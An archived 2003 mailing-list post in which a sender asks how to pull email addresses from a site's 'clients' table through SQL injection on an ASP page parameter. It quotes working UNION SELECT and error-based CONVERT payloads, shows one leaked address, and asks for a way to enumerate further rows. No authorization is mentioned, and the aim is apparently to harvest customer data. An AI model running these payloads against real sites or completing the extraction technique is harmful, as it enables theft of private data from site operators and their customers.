SQL injection - get more values

From: Daniel Savi (dss@brturbo.com)
Date: Wed Feb 12 2003 - 12:48:41 EST

('binary' encoding is not supported, stored as-is) Hi :)

i'm trying to get some info from clients table and email field....

i try this param into gubpage.asp?=...
') union select sum(email) from clients--
and got error about all queries needed...so, i tryed to solve with
') union select sum(email),1,1,1.... from clients--
until i get: operand type clash: text is incompatible with int

i found this answer into this forum (thanks :)), was:
' %2b convert(int, (SELECT email FROM clients WHERE email > 'a')) %2b '

i got this:
Syntax error converting the varchar value 'anon@isp.com' to a column of
data type int

Now, my problem: How can i get other e-mail from table knowing one valid
value?

i try this
' %2b convert(int, (SELECT email FROM clients WHERE email
> 'anon@isp.com')) %2b '
but no success

i think i can use NOT iN, but not sure how to use with convert...

Any tip are welcome!

Thanks

----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/

This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:28 EDT